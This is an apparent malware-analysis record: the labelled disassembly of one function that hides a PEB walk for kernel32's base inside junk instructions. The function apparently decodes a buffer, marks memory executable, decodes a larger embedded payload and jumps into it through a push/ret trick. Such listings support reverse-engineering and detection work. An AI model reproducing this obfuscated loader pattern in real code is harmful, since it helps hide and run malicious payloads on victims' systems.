Function at 0x401fe0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
imul dx
rcl ebx, 0x4c
or dx, dx
imul ax
inc edi
rol edx, 0xdd
shr edx, 0x40
rcr esi, 0x50
shl esi, 9
shr ecx, 0x46
imul cx
or edi, 0xd4
shl ebx, 0x53
add edi, 0x349
ror esi, 0x7b
and di, 0x57
imul ax
inc edi
rcl ax, 0x96
sub bx, 0x16d
or ebx, edi
rcl ecx, 0x8f
mov dx, 0x2c4
or edx, 0x2a1
mul eax
jb 0x402047
cmp ebx, 0x35
jb 0x402078
rcl edx, 0xc3
jmp 0x40204a
or bx, ax
add ebx, 0x2a2
jb 0x402078
test ecx, 0x43
jb 0x4020d2
inc bx
rol si, 0xb6
ror bx, 0x8b
rol dx, 0x92
rcl ecx, 0xe7
and bx, 0x315
sub ebx, 0xa8
jmp 0x402095
mov si, 0x1bd
rcr cx, 0xdd
rcr eax, 0xfd
shl edi, 0x6d
rol ax, 0x70
dec edx
mul di
rol edi, 0x20
dec ecx
mul cx
xor ax, 0x257
shl edx, 0x1d
ror eax, 0xc9
mov ebx, edx
mul esi
rcl si, 0xf2
rol ax, 0x7f
mov cx, 0x61
shr edi, 0x51
jne 0x4020d2
cmp esi, 0x33
jb 0x402110
rcl edi, 0x2a
inc dx
add ebx, eax
movzx eax, dx
ror edx, 0x23
mul bx
add bx, si
rcl bx, 0x30
jmp 0x4020de
rcr esi, 0xb8
inc ebx
xor edx, edi
add ecx, 0x3a5
shr edi, 0xcb
shr si, 0x75
shr edi, 0x62
mul ecx
inc edi
inc ecx
jb 0x402110
imul cx
imul ax
add esi, ebx
dec esi
rcl si, 0x9d
and ecx, 0xc2
and edx, 0x33f
rcl si, 0xf8
ror ebx, 0xab
jmp 0x402117
imul bx
mov bx, 0x2ee
imul dx
imul si
movsx esi, dl
mov cx, dx
rol si, 0x50
add di, di
rcr ecx, 0x81
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x487550], eax
push 0x17
push 0x42cac0
mov edx, 0x4e4
mov ecx, 0x485ce0
call fcn.00401bee
pop ecx
pop ecx
mul di
rol ecx, 0x23
imul dx
add eax, 0x27
and ecx, 0x86
inc esi
rol di, 0x9b
inc ax
dec ax
mul edi
add ax, 0x2ab
dec cx
imul ax
imul eax
and esi, 0x4d
inc ax
dec bx
inc dx
shr edi, 0x19
mul di
ja 0x4021a0
cmp ebx, 0x25
jae 0x4021ca
mul edi
jmp 0x4021b8
imul edi
or esi, ecx
imul eax
sub dx, ax
shr dx, 0xd2
mul ax
add edx, eax
imul eax
mov ax, 0x27
mul dx
je 0x4021ca
cmp eax, 0x12
jne 0x4021fe
movzx ebx, bx
rcr ecx, 0x49
jmp 0x4021d9
mul eax
sub di, 0x2da
xor esi, esi
dec cx
rol ax, 0x24
shl cx, 0x6b
dec ax
mov bx, 0x1c1
rcr edx, 0xa3
and si, bx
jne 0x4021fe
imul edx
and esi, 4
rcl eax, 0xe8
imul ebx
rol bx, 0xc5
imul si
jmp 0x402208
inc edx
mov dx, dx
shr dx, 0xa0
imul esi
shr edx, 0xe8
mul ecx
or edx, 0x284
sub ax, bx
rol si, 0xff
add cx, ax
imul bx
shr di, 0x93
rcl bx, 0xc9
inc di
ja 0x40224b
test ebx, 0x3f
je 0x402273
mov edi, 0x44
imul si
mul ax
inc eax
mul si
inc edx
inc ax
mul bx
jmp 0x40224f
mul bx
dec edi
dec eax
rol cx, 0xf3
and ecx, 0x2c4
imul edx
shl ebx, 7
mov si, 0x1c2
rcl ecx, 0x71
jae 0x402273
test eax, 0x2d
jb 0x4022a3
inc bx
jmp 0x402275
mov esi, eax
dec edi
rcr eax, 0x4f
movsx esi, bl
and bx, ax
rol ebx, 0x60
dec ax
rol edi, 0x81
shl ebx, 0x6e
shr ecx, 0x1d
jne 0x4022a3
shl cx, 0x58
rcr edi, 0xcf
inc edi
or di, 0x214
imul ebx
rcr ecx, 0xe8
jmp 0x4022a9
shr ax, 0x29
mul ecx
movzx esi, bx
and ecx, edx
rol cx, 0x5a
imul edx
imul ax
shl edx, 0x4c
call fcn.00401f35
lea ecx, [ebp - 8]
mov dword [ebp - 4], 0x188
push ecx
push 0x40
push 0x4e4
push 0x485ce0
call eax
test eax, eax
je 0x40231f
push 0x1a
push 0x4861d0
mov edx, 0x59200
mov ecx, str.K_7
call fcn.00401bee
pop ecx
pop ecx
mov esi, str.K_7
push esi
mov edx, 0x485ce0
mov ecx, dword [ebp - 4]
add edx, ecx
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], edx
lea edi, sym.imp.KERNEL32.dll_FreeConsole
mov edi, dword [edi]
push edi
ret
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10